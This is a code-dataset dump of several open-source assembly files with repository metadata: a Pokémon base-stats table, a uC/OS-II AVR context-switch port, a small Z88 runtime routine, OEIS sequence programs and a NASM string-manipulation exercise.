hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d162ff91e6e6c78e2e0b30119034c24f90ad72a2 | 544 | asm | Assembly | data/baseStats/hitmonlee.asm | etdv-thevoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | 1 | 2022-01-09T05:28:52.000Z | 2022-01-09T05:28:52.000Z | data/baseStats/hitmonlee.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | data/baseStats/hitmonlee.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | db HITMONLEE ; pokedex id
db 50 ; base hp
db 120 ; base attack
db 60 ; base defense
db 80 ; base speed
db 35 ; base special
db FIGHTING ; species type 1
db FIGHTING ; species type 2
db 45 ; catch rate
db 139 ; base exp yield
INCBIN "pic/gsmon/hitmonlee.pic",0,1 ; 77, sprite dimensions
dw HitmonleePicFront
dw HitmonleePicBack
; attacks known at lvl 0
db TACKLE
db 0
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 5,6,8
tmlearn 9,10
tmlearn 17,18,19,20
tmlearn 31,32
tmlearn 34,35,39
tmlearn 44
tmlearn 50,54
db BANK(HitmonleePicFront)
| 18.758621 | 60 | 0.740809 |
008fe9251bffa6a5a9f827d14f240674360ddf0b | 19,382 | asm | Assembly | lab5/ports/os_cpu_a.asm | sauber92/MicroC-OS-II_atmega128_multiprogramming | 98c5a75c85e82fa8cfd672e3002e25ae83329fff | [
"MIT"
] | null | null | null | lab5/ports/os_cpu_a.asm | sauber92/MicroC-OS-II_atmega128_multiprogramming | 98c5a75c85e82fa8cfd672e3002e25ae83329fff | [
"MIT"
] | null | null | null | lab5/ports/os_cpu_a.asm | sauber92/MicroC-OS-II_atmega128_multiprogramming | 98c5a75c85e82fa8cfd672e3002e25ae83329fff | [
"MIT"
] | null | null | null | ;********************************************************************************************************
; uC/OS-II
; The Real-Time Kernel
;
; AVR Specific code
; (AVR-GCC 3.x)
;
;
; File : OS_CPU_A.ASM
; By : Ole Saether
; Port Version : V1.01
;
; AVR-GCC port version : 1.0 2001-04-02 modified/ported to avr-gcc by Jesper Hansen (jesperh@telia.com)
;
; Modifications by Julius Luukko 2003-02-19 (Julius.Luukko@lut.fi):
;
; - Minor modification to OSTickISR's declaration to global and addition of #include <avr/io.h>
; in order to work with gcc 3.3.
; - Moved 'sei' from the beginning of OSTickISR after the increasing of OSIntNesting (as the book suggests)
; - Changed the order of reloading the timer counter and calling of OSIntExit
; - Changed OSIntCtxSw to the way it is supposed to be with OS_VERSION >= 251
; - Changed OSTickISR so that is saves the stack pointer into the current task's OS_TCB if OSTickISR is the
; first level ISR
; - os_cfg.h must be included (definitions of CPU_CLOCK_HZ and OS_TICKS_PER_SEC)
; - avr/io.h is included to get SIG_OVERFLOW0 to produce the code to the interrupt vector table
;
; Modifications by Julius Luukko 2003-03-06 (Julius.Luukko@lut.fi):
;
; - RAMPZ is also saved to the stack
;
; Modifications by Julius Luukko 2003-03-18 (Julius.Luukko@lut.fi):
;
; - RAMPZ and SREG were popped out of the stack in the wrong order! Corrected this.
; - Divided macros PUSHRS and POPRS into to macros PUSHRS, PUSHSREG, POPRS and POPSREG. Additionally,
; in ISRs macro called PUSHSREGISR must be used. It sets the I bit i SREG, since its always unset, when
; ISR is entered. It must be, however, set to enable interrupts when the task is run again.
; - RCALLs changed to CALLs. This allows the code of called functions to be further away from the calls.
; (fixes the "relocating truncated to fit" error from the linker)
;
;
; Modifications by Julius Luukko 2003-03-19 (Julius.Luukko@lut.fi):
;
; - timer interrupt is changed so that the timer counter register is updated right after _not_first_int
; (was AFTER the call to OSIntExit!!)
;
; Modifications by Julius Luukko 2003-06-24 (Julius.Luukko@lut.fi):
;
; - I/O port addressing is now done using the macro _SFR_IO_ADDR from avr-libc and the address
; definitions are removed from here
; - RAMPZ is pushed and popped only if it is defined, i.e. with chips that have it
;
; Modifications by Julius Luukko 2003-07-21 (Julius.Luukko@lut.fi) for V2.70
;
; - OSTaskSwHook is not called if OS_TASK_SW_HOOK_EN == 0
; - defines typedef to ; so that os_cfg_r.h can be used more easily as a starting point for
; the application specific os_cfg.h
;
;********************************************************************************************************
;********************************************************************************************************
; C PREPROCESSOR DIRECTIVES
;********************************************************************************************************
#include <avr/io.h>
#define OS_CPU_A
#include "os_cpu.h"
#define typedef ;
#include "os_cfg.h"
#ifndef OS_TASK_SW_HOOK_EN
#define OS_TASK_SW_HOOK_EN 1
#endif
;********************************************************************************************************
; PUBLIC DECLARATIONS
;********************************************************************************************************
.global OSStartHighRdy
.global OSCtxSw
.global OSIntCtxSw
.global OSTickISR
;********************************************************************************************************
; EXTERNAL DECLARATIONS
;********************************************************************************************************
.extern OSIntExit
.extern OSIntNesting
.extern OSPrioCur
.extern OSPrioHighRdy
.extern OSRunning
#if OS_TASK_SW_HOOK_EN > 0
.extern OSTaskSwHook
#endif
.extern OSTCBCur
.extern OSTCBHighRdy
.extern OSTimeTick
;********************************************************************************************************
; MACROS
;********************************************************************************************************
; Push all registers and the status register
.macro PUSHRS
push r0
push r1
push r2
push r3
push r4
push r5
push r6
push r7
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push r16
push r17
push r18
push r19
push r20
push r21
push r22
push r23
push r24
push r25
push r26
push r27
push r28
push r29
push r30
push r31
#ifdef RAMPZ
in r16,_SFR_IO_ADDR(RAMPZ)
push r16
#endif
.endm
; Pop all registers and the status registers
.macro POPRS
#ifdef RAMPZ
pop r16
out _SFR_IO_ADDR(RAMPZ),r16
#endif
pop r31
pop r30
pop r29
pop r28
pop r27
pop r26
pop r25
pop r24
pop r23
pop r22
pop r21
pop r20
pop r19
pop r18
pop r17
pop r16
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop r7
pop r6
pop r5
pop r4
pop r3
pop r2
pop r1
pop r0
.endm
.macro POPSREG
pop r16
out _SFR_IO_ADDR(SREG),r16
.endm
.macro PUSHSREG
in r16,_SFR_IO_ADDR(SREG)
push r16
.endm
.macro PUSHSREGISR
in r16,_SFR_IO_ADDR(SREG)
sbr r16,0x80
push r16
.endm
.text
.section .text
;********************************************************************************************************
; START HIGHEST PRIORITY TASK READY-TO-RUN
;
; Description : This function is called by OSStart() to start the highest priority task that was created
; by your application before calling OSStart().
;
; Note(s) : 1) The (data)stack frame is assumed to look as follows:
;
; OSTCBHighRdy->OSTCBStkPtr --> LSB of (return) stack pointer (Low memory)
; SPH of (return) stack pointer
; Flags to load in status register
; R31
; R30
; R7
; .
; .
; .
; R0
; PCH
; PCL (High memory)
;
; where the stack pointer points to the task start address.
;
;
; 2) OSStartHighRdy() MUST:
; a) Call OSTaskSwHook() then,
; b) Set OSRunning to TRUE,
; c) Switch to the highest priority task.
;********************************************************************************************************
OSStartHighRdy:
#if OS_TASK_SW_HOOK_EN > 0
call OSTaskSwHook ; Invoke user defined context switch hook
#endif
lds R16,OSRunning ; Indicate that we are multitasking
inc R16 ;
sts OSRunning,R16 ;
lds R30,OSTCBHighRdy ; Let Z point to TCB of highest priority task
lds R31,OSTCBHighRdy+1 ; ready to run
ld R28,Z+ ; Load stack L pointer
out _SFR_IO_ADDR(SPL),R28
ld R29,Z+ ;
out _SFR_IO_ADDR(SPH),R29
POPSREG ; Pop the status register
POPRS ; Pop all registers
ret ; Start task
;********************************************************************************************************
; TASK LEVEL CONTEXT SWITCH
;
; Description : This function is called when a task makes a higher priority task ready-to-run.
;
; Note(s) : 1) Upon entry,
; OSTCBCur points to the OS_TCB of the task to suspend
; OSTCBHighRdy points to the OS_TCB of the task to resume
;
; 2) The stack frame of the task to suspend looks as follows:
;
; SP+0 --> LSB of task code address
; +1 MSB of task code address (High memory)
;
; 3) The saved context of the task to resume looks as follows:
;
; OSTCBHighRdy->OSTCBStkPtr --> Flags to load in status register (Low memory)
; R31
; R30
; R7
; .
; .
; .
; R0
; PCH
; PCL (High memory)
;********************************************************************************************************
OSCtxSw: PUSHRS ; Save current tasks context
PUSHSREG ; Save SREG
lds R30,OSTCBCur ; Z = OSTCBCur->OSTCBStkPtr
lds R31,OSTCBCur+1 ;
in r28,_SFR_IO_ADDR(SPL)
st Z+,R28 ; Save Y (R29:R28) pointer
in r29,_SFR_IO_ADDR(SPH)
st Z+,R29 ;
#if OS_TASK_SW_HOOK_EN > 0
call OSTaskSwHook ; Call user defined task switch hook
#endif
lds R16,OSPrioHighRdy ; OSPrioCur = OSPrioHighRdy
sts OSPrioCur,R16
lds R30,OSTCBHighRdy ; Let Z point to TCB of highest priority task
lds R31,OSTCBHighRdy+1 ; ready to run
sts OSTCBCur,R30 ; OSTCBCur = OSTCBHighRdy
sts OSTCBCur+1,R31 ;
ld R28,Z+ ; Restore Y pointer
out _SFR_IO_ADDR(SPL),R28
ld R29,Z+ ;
out _SFR_IO_ADDR(SPH),R29
POPSREG ; Restore the status register
POPRS ; Restore all registers
ret
;*********************************************************************************************************
; INTERRUPT LEVEL CONTEXT SWITCH
;
; Description : This function is called by OSIntExit() to perform a context switch to a task that has
; been made ready-to-run by an ISR.
;
; Note(s) : 1) Upon entry,
; OSTCBCur points to the OS_TCB of the task to suspend
; OSTCBHighRdy points to the OS_TCB of the task to resume
;
; 2) The stack frame of the task to suspend looks as follows:
;
; OSTCBCur->OSTCBStkPtr ------> Flags to load in status register (Low memory)
; R31
; R30
; R27
; .
; .
; R0
; PCH
; PCL (High memory)
;
; 3) The saved context of the task to resume looks as follows:
;
; OSTCBHighRdy->OSTCBStkPtr --> Flags to load in status register (Low memory)
; R31
; R30
; R7
; .
; .
; .
; R0 (High memory)
;*********************************************************************************************************
OSIntCtxSw:
;*********************************************************************************************************
; You should enable the lines between #if 0 and #endif only if you use uC/OS-II version 2.51 or below!
; (Unfortunately OS_VERSION is not defined here (how to do it elegantly?)
;*********************************************************************************************************
#if 0
in R28,_SFR_IO_ADDR(SPL) ; Z = SP
in R29,_SFR_IO_ADDR(SPH)
#if OS_CRITICAL_METHOD == 1
adiw R28,4 ; Use if OS_CRITICAL_METHOD is 1, see OS_CPU.H
#endif
#if OS_CRITICAL_METHOD == 2
adiw R28,5 ; Use if OS_CRITICAL_METHOD is 2, see OS_CPU.H
#endif
lds R30,OSTCBCur ; Z = OSTCBCur->OSTCBStkPtr
lds R31,OSTCBCur+1 ;
st Z+,R28 ; Save Y pointer
st Z+,R29 ;
#endif
;*********************************************************************************************************
#if OS_TASK_SW_HOOK_EN > 0
call OSTaskSwHook ; Call user defined task switch hook
#endif
lds R16,OSPrioHighRdy ; OSPrioCur = OSPrioHighRdy
sts OSPrioCur,R16 ;
lds R30,OSTCBHighRdy ; Z = OSTCBHighRdy->OSTCBStkPtr
lds R31,OSTCBHighRdy+1 ;
sts OSTCBCur,R30 ; OSTCBCur = OSTCBHighRdy
sts OSTCBCur+1,R31 ;
ld R28,Z+ ; Restore Y pointer
out _SFR_IO_ADDR(SPL),R28
ld R29,Z+ ;
out _SFR_IO_ADDR(SPH),R29
POPSREG ; Restore the status register
POPRS ; Restore all registers
ret
;********************************************************************************************************
; SYSTEM TICK ISR
;
; Description : This function is the ISR used to notify uC/OS-II that a system tick has occurred.
;
; (Julius Luukko/2003-02-14): Changed the name of vector to SIG_OVERFLOW0. In order to the corresponding
; interrupt vector to be set to point to SIG_OVERFLOW0, one has to also #include <avr/io.h> in this file.
; Note that no error message or warning will be given, if the include is not present, the interupt just
; won't get vectored.
;
;********************************************************************************************************
.global SIG_OVERFLOW0
SIG_OVERFLOW0:
OSTickISR: PUSHRS ; Save all registers
PUSHSREGISR ; Save SREG with I bit set!
lds R16,OSIntNesting ; Notify uC/OS-II of ISR
inc R16 ;
sts OSIntNesting,R16 ;
;*********************************************************************************************************
; You should disable the lines between #if 1 and #endif if you use uC/OS-II version 2.51 or below!
; (Unfortunately OS_VERSION is not defined here (how to do it elegantly? On possibility would be to
; code this ISR with C in os_cpu_c.c or use inline assembler in os_cpu_c.c)
;*********************************************************************************************************
#if 1
cpi R16,0x01
brne _not_first_int
in R28,_SFR_IO_ADDR(SPL) ; Z = SP
in R29,_SFR_IO_ADDR(SPH)
lds R30,OSTCBCur ; Z = OSTCBCur->OSTCBStkPtr
lds R31,OSTCBCur+1 ;
st Z+,R28 ; Save Y pointer
st Z+,R29 ;
_not_first_int:
#endif
ldi R16,256-(CPU_CLOCK_HZ/OS_TICKS_PER_SEC/1024)
; Reload timer to overflow at a rate of OS_TICKS_PER_SEC
out _SFR_IO_ADDR(TCNT0),R16 ; at a prescaler of 1024 and CPU_CLOCK_HZ AVR clock
sei ; Enable interrupts
call OSTimeTick ; Call uC/OS-IIs tick updating function
nop
call OSIntExit ; Notify uC/OS-II about end of ISR
POPSREG
POPRS ; Restore all registers and status register
ret ; Note: RET instead of RETI
| 42.69163 | 108 | 0.37896 |
8eef0887e0725b231d66ffe1a9e85aef09e27307 | 232 | asm | Assembly | libsrc/z80_crt0s/crt0/l_glong.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/z80_crt0s/crt0/l_glong.asm | dex4er/deb-z88dk | 9ee4f23444fa6f6043462332a1bff7ae20a8504b | [
"ClArtistic"
] | null | null | null | libsrc/z80_crt0s/crt0/l_glong.asm | dex4er/deb-z88dk | 9ee4f23444fa6f6043462332a1bff7ae20a8504b | [
"ClArtistic"
] | null | null | null | ; Z88 Small C+ Run Time Library
; Long functions
;
XLIB l_glong
;Fetch long dehl from (hl)
.l_glong
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
ex de,hl
ret
| 10.545455 | 38 | 0.521552 |
a1865962cb5442c6a4f5c226afa4c1b962f822da | 718 | asm | Assembly | oeis/025/A025706.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/025/A025706.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/025/A025706.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A025706: Index of 5^n within sequence of numbers of form 4^i*5^j.
; Submitted by Christian Krause
; 1,3,6,10,15,21,28,37,47,58,70,83,97,113,130,148,167,187,208,231,255,280,306,333,361,391,422,454,487,521,556,592,630,669,709,750,792,835,880,926,973,1021,1070,1120,1172,1225,1279,1334,1390,1447,1506,1566,1627,1689,1752,1816,1882,1949,2017,2086,2156,2227,2299,2373,2448,2524,2601,2679,2758,2839,2921,3004,3088,3173,3259,3347,3436,3526,3617,3709,3802,3897,3993,4090,4188,4287,4387,4489,4592,4696,4801,4907,5014,5122,5232,5343,5455,5568,5682,5797
mov $2,$0
add $2,1
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
mov $4,0
mov $6,5
pow $6,$0
lpb $6
add $4,1
div $6,4
lpe
add $3,$4
lpe
mov $0,$3
| 32.636364 | 444 | 0.692201 |
47ec7819c000573d61d09e0018672a28e3933f44 | 12,085 | asm | Assembly | nasm assembly/extras/swap_palin.asm | AI-Factor-y/NASM-library | 5141901352a47b73e716e27d628bb719f1891092 | [
"Apache-2.0"
] | null | null | null | nasm assembly/extras/swap_palin.asm | AI-Factor-y/NASM-library | 5141901352a47b73e716e27d628bb719f1891092 | [
"Apache-2.0"
] | null | null | null | nasm assembly/extras/swap_palin.asm | AI-Factor-y/NASM-library | 5141901352a47b73e716e27d628bb719f1891092 | [
"Apache-2.0"
] | null | null | null | section .data
msg1 : db 'debug here --',10
l1 : equ $-msg1
msg2 : db 'enter a number : '
l2 : equ $-msg2
msg3 : db 'number is : '
l3 : equ $-msg3
msg4 : db 'msg 4 here'
l4: equ $-msg4
msg5 : db 'msg 5 here',10
l5: equ $-msg5
space:db ' '
newline:db '',10
section .bss
num: resd 1
counter: resd 1
n: resd 10
string_rev_palin: resb 1000
section .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, msg2
mov edx, l2
int 80h
mov ebx, string_rev_palin
call read_string_as_matrix
call swap_palin_pos
call print_string_in_matrix
exit:
mov eax,1
mov ebx,0
int 80h
; section for procedures
;----------------------------
swap_palin_pos:
;; input string in string_rev_palin
;; output string in string_rev_palin, ebx
section .bss
sp_i: resd 1
palin_arr: resb 1000
palin_arr_i: resd 1
string_len: resd 1
section .text
push rax
push rcx
push rdx
mov ebx, string_rev_palin
mov dword[sp_i],0
mov dword[palin_arr_i],0
sp_loop_1:
mov ax, word[sp_i]
cmp ax, word[no_of_words]
je exit_sp_loop_1
mov eax, [sp_i]
call string_at_location
push rbx
mov ebx, str_at_loc
call strlen
mov dword[string_len],ecx
call check_palindrome
cmp word[is_palin],1
jne sp_not_palin
mov ecx, palin_arr
mov ebx, str_at_loc
mov eax, [palin_arr_i]
call put_string_in_loc
inc dword[palin_arr_i]
sp_not_palin:
pop rbx
inc dword[sp_i]
jmp sp_loop_1
exit_sp_loop_1:
mov dword[sp_i],0
dec dword[palin_arr_i]
sp_loop_2:
mov ax, word[sp_i]
cmp ax, word[no_of_words]
je exit_sp_loop_2
mov eax, [sp_i]
call string_at_location
push rbx
mov ebx, str_at_loc
call strlen
mov dword[string_len],ecx
call check_palindrome
cmp word[is_palin],1
jne sp_not_palin2
mov ebx, palin_arr
mov eax, [palin_arr_i]
call string_at_location
mov ebx, str_at_loc
mov eax, [sp_i]
mov ecx, string_rev_palin
call put_string_in_loc
dec dword[palin_arr_i]
sp_not_palin2:
pop rbx
inc dword[sp_i]
jmp sp_loop_2
exit_sp_loop_2:
pop rdx
pop rcx
pop rax
ret
debugger:
section .data
msg_debugger : db '',10
msg_debugger_l : equ $-msg_debugger
section .text
push rax
push rbx
push rcx
push rdx
; debug----
mov eax, 4
mov ebx, 1
mov ecx, msg_debugger
mov edx, msg_debugger_l
int 80h
;debug ---
pop rdx
pop rcx
pop rbx
pop rax
; action
ret
strlen:
;; base address in ebx
;; strlen value will be in ecx
section .bss
strlen_i: resd 1
section .text
push rax
push rbx
push rdx
mov eax,0
strlen_loop:
mov cl, byte[ebx+eax]
cmp cl,0
je exit_strlen_loop
inc eax
jmp strlen_loop
exit_strlen_loop:
mov ecx, eax
pop rdx
pop rbx
pop rax
ret
check_palindrome:
; base address should be in ebx
; length in strlen
; if it is palin then is_palin is 1 else 0
section .data
palin_msg : db 'string is a palindrome ',10
palin_msg_len : equ $-palin_msg
not_palin_msg : db 'string is not a palindrome ',10
not_palin_msg_len : equ $-not_palin_msg
section .bss
mid_val : resd 1
counter_palin_i: resq 1
counter_palin_j: resq 1
character_one: resb 1
character_two: resb 1
palin_flag: resd 1
palin_string: resb 50
is_palin: resd 1
section .text
push rax
push rbx
push rcx
mov dword[palin_string],ebx ; store the string in ebx to a seperate area
mov ax, word[string_len]
mov cx, 2
mov dx,0
div cx
mov word[mid_val],ax ; mid val=n/2
mov dword[counter_palin_i],0
mov eax,[string_len]
dec eax
mov [counter_palin_j], eax ; initialising pointers
mov word[palin_flag], 1
loop_palin:
; call debugger
mov ax,word[counter_palin_i] ; if i>=n/2 then break
mov cx,word[mid_val]
cmp ax,cx
jae exit_loop_palin
mov eax,[counter_palin_i]
mov cl, byte[ebx+eax]
mov byte[character_one], cl ; char_1 = str[i]
mov eax, [counter_palin_j]
mov cl , byte[ebx+eax]
mov byte[character_two], cl ; char_2= str[j]
mov al, byte[character_one]
cmp al,cl ; if char_1!=char_2 then break
je equal_characters
mov word[palin_flag],0
jmp exit_loop_palin
equal_characters:
inc word[counter_palin_i]
dec word[counter_palin_j]
jmp loop_palin
exit_loop_palin:
mov ax,word[palin_flag]
cmp ax,1
jne is_not_palin
; mov eax, 4
; mov ebx, 1
; mov ecx, palin_msg
; mov edx, palin_msg_len
; int 80h
mov dword[is_palin],1
jmp cont_palin_fun
is_not_palin:
; mov eax, 4
; mov ebx, 1
; mov ecx, not_palin_msg
; mov edx, not_palin_msg_len
; int 80h
mov dword[is_palin],0
cont_palin_fun:
pop rcx
pop rbx
pop rax
ret
put_string_in_loc:
;; i in eax ( loc of string in 2d matrix)
;; base address of matric in ecx
;; base address of string to be put in matrix is : ebx
;; string to put in ebx be in ecx reg
section .text
push rax
push rbx
push rdx
push rcx
mov cx, word[row_size]
mul cx
pop rcx
add ecx,eax
call strcpy
pop rdx
pop rbx
pop rax
ret
string_at_location:
;; i in eax ( loc of string in 2d matrix)
;; string will be in str_at_loc variable
;; use strcpy to copy string from str_at_loc variable
section .bss
str_at_loc: resb 100
section .text
push rax
push rbx
push rcx
push rdx
push rbx
mov bx, word[row_size]
mul bx
pop rbx
add ebx,eax
mov ecx,str_at_loc
call strcpy
pop rdx
pop rcx
pop rbx
pop rax
ret
strcpy:
;; copies contents of string ebx to string ecx
;; strcpy(ecx,ebx)
;; string 1 is ebx string 2 is ecx
;; ecx string changes and becomes same as ebx
section .text
push rax
push rbx
push rdx
strcpy_loop_1:
mov dl,byte[ebx]
mov byte[ecx],dl
cmp dl,0
je exit_strcpy_loop_1
inc ebx
inc ecx
jmp strcpy_loop_1
exit_strcpy_loop_1:
pop rdx
pop rcx
pop rax
ret
read_string_as_matrix:
;; base address in ebx
section .bss
row_size: resd 1
rs_i: resd 1
rs_j: resd 1
rs_pos: resd 1
rs_temp: resb 1
no_of_words: resd 1
section .text
push rax
push rbx
push rcx
push rdx
mov dword[row_size],50
mov dword[rs_i],0
mov dword[rs_j],0
mov dword[no_of_words],1
rs_loop_i:
mov dword[rs_j],0
rs_loop_j:
push rbx
mov eax, 3
mov ebx, 0
mov ecx, rs_temp
mov edx, 1
int 80h
pop rbx
cmp byte[rs_temp], 10 ;; check if the input is ’Enter’
je exit_rs_loop_i
cmp byte[rs_temp],' '
je exit_rs_loop_j
push rbx
mov ax,word[rs_i]
mov bx,word[row_size]
mul bx
add ax,word[rs_j]
mov word[rs_pos],ax
; call debugger
pop rbx
mov cl,byte[rs_temp]
mov eax, [rs_pos]
mov byte[ebx+eax], cl
inc dword[rs_j]
jmp rs_loop_j
exit_rs_loop_j:
push rbx
mov ax,word[rs_i]
mov bx,word[row_size]
mul bx
add ax,word[rs_j]
mov word[rs_pos],ax
pop rbx
mov eax, [rs_pos]
mov byte[ebx+eax], 0
inc dword[no_of_words] ;; finds the total no of words
inc dword[rs_i]
jmp rs_loop_i
exit_rs_loop_i:
push rbx
mov ax,word[rs_i]
mov bx,word[row_size]
mul bx
add ax,word[rs_j]
mov word[rs_pos],ax
pop rbx
mov eax, [rs_pos]
mov byte[ebx+eax], 0
pop rdx
pop rcx
pop rbx
pop rax
ret
print_string_in_matrix:
;; base address of string in ebx
section .bss
ps_i: resd 1
ps_j: resd 1
ps_pos: resd 1
ps_temp: resb 1
section .text
push rax
push rbx
push rcx
push rdx
mov dword[ps_i],0
mov dword[ps_j],0
ps_loop_i:
mov ax, word[ps_i]
cmp ax, word[no_of_words]
je exit_ps_loop_i
mov dword[ps_j],0
ps_loop_j:
push rbx
mov ax, word[ps_i]
mov bx, word[row_size]
mul bx
add ax,word[ps_j]
mov word[ps_pos],ax
pop rbx
mov eax, [ps_pos]
mov al, byte[ebx+eax]
mov byte[ps_temp], al
cmp byte[ps_temp],0
je exit_ps_loop_j
push rbx
mov eax, 4
mov ebx, 1
mov ecx, ps_temp
mov edx, 1
int 80h
pop rbx
inc dword[ps_j]
jmp ps_loop_j
exit_ps_loop_j:
inc dword[ps_i]
call debugger_space_gen
jmp ps_loop_i
exit_ps_loop_i:
pop rdx
pop rcx
pop rbx
pop rax
ret
debugger_space_gen:
section .data
msg_debugger_space_gen : db ' ',
msg_debugger_l_space_gen : equ $-msg_debugger_space_gen
section .text
push rax
push rbx
push rcx
push rdx
; debug----
mov eax, 4
mov ebx, 1
mov ecx, msg_debugger_space_gen
mov edx, msg_debugger_l_space_gen
int 80h
;debug ---
pop rdx
pop rcx
pop rbx
pop rax
; action
ret
print_array:
; usage
;-------
; 1: base address of array in ebx mov ebx,array
; 2: size of array in n
push rax ; push all
push rbx
push rcx
mov eax,0
print_loop:
cmp eax,dword[n]
je end_print1
mov cx,word[ebx+2*eax]
mov word[num],cx
;;The number to be printed is copied to ’num’
; before calling print num function
push rax
push rbx
call print_num
pop rbx
pop rax
inc eax
jmp print_loop
end_print1:
; popa
pop rcx
pop rbx
pop rax ; pop all
ret
read_array:
; usage
;-------
; 1: base address of array in ebx mov ebx, array
; 2: size of array in n
push rax ; push all
push rbx
push rcx
mov eax ,0
read_loop:
cmp eax,dword[n]
je end_read_1
push rax
push rbx
call read_num
pop rbx
pop rax
;;read num stores the input in ’num’
mov cx,word[num]
mov word[ebx+2*eax],cx
inc eax
;;Here, each word consists of two bytes, so the counter should be
; incremented by multiples of two. If the array is declared in bytes do mov word[ebx+eax],cx
jmp read_loop
end_read_1:
pop rcx
pop rbx
pop rax ; pop all
ret
print_num:
;usage
;------
; 1: create a variable num(word)
; 2: move number to print to num (word)
section .data
nwl_for_printnum :db ' '
nwl_l_printnum : equ $-nwl_for_printnum
show_zero :db '0 '
show_zero_l : equ $-show_zero
section .bss
count_printnum : resb 10
temp_printnum : resb 1
section .text
push rax ; push all
push rbx
push rcx
cmp word[num],0
je print_zero
mov byte[count_printnum],0
;call push_reg
extract_no:
cmp word[num], 0
je print_no
inc byte[count_printnum]
mov dx, 0
mov ax, word[num]
mov bx, 10
div bx
push dx ; recursion here
mov word[num], ax
jmp extract_no
print_no:
cmp byte[count_printnum], 0
je end_print
dec byte[count_printnum]
pop dx
mov byte[temp_printnum], dl ; dx is further divided into dh and dl
add byte[temp_printnum], 30h
mov eax, 4
mov ebx, 1
mov ecx, temp_printnum
mov edx, 1
int 80h
jmp print_no
end_print:
mov eax,4
mov ebx,1
mov ecx,nwl_for_printnum
mov edx,nwl_l_printnum
int 80h
;;The memory location ’newline’ should be declared with the ASCII key for new popa
;call pop_reg
jmp exit_printing
print_zero:
mov eax,4
mov ebx,1
mov ecx,show_zero
mov edx,show_zero_l
int 80h
exit_printing:
pop rcx
pop rbx
pop rax ; pop all
ret
read_num:
;usage
;------
; 1: create a variable num(word)
; 2: the input number is stored into num(word)
section .bss
temp_for_read: resb 1
section .text
push rax ; push all
push rbx
push rcx
mov word[num], 0
loop_read:
;; read a digit
mov eax, 3
mov ebx, 0
mov ecx, temp_for_read
mov edx, 1
int 80h
;;check if the read digit is the end of number, i.e, the enter-key whose ASCII cmp byte[temp], 10
cmp byte[temp_for_read], 10
je end_read
mov ax, word[num]
mov bx, 10
mul bx
mov bl, byte[temp_for_read]
sub bl, 30h
mov bh, 0
add ax, bx
mov word[num], ax
jmp loop_read
end_read:
;;pop all the used registers from the stack using popa
;call pop_reg
pop rcx
pop rbx
pop rax
ret
| 13.265642 | 98 | 0.643194 |
47f4390a148a5e33cfa97f0371f567cbf15bc80f | 305 | asm | Assembly | programs/oeis/269/A269098.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/269/A269098.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/269/A269098.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A269098: Expansion of (1 + 2*x + 3*x^2 + x^3 + x^5)/(1 - x^3)^2.
; 1,2,3,3,4,7,5,6,11,7,8,15,9,10,19,11,12,23,13,14,27,15,16,31,17,18,35,19,20,39,21,22,43,23,24,47,25,26,51,27,28,55,29,30,59,31,32,63,33,34,67,35,36,71,37,38,75,39,40,79,41,42,83,43,44,87,45
sub $0,1
mul $0,4
div $0,3
dif $0,2
add $0,2
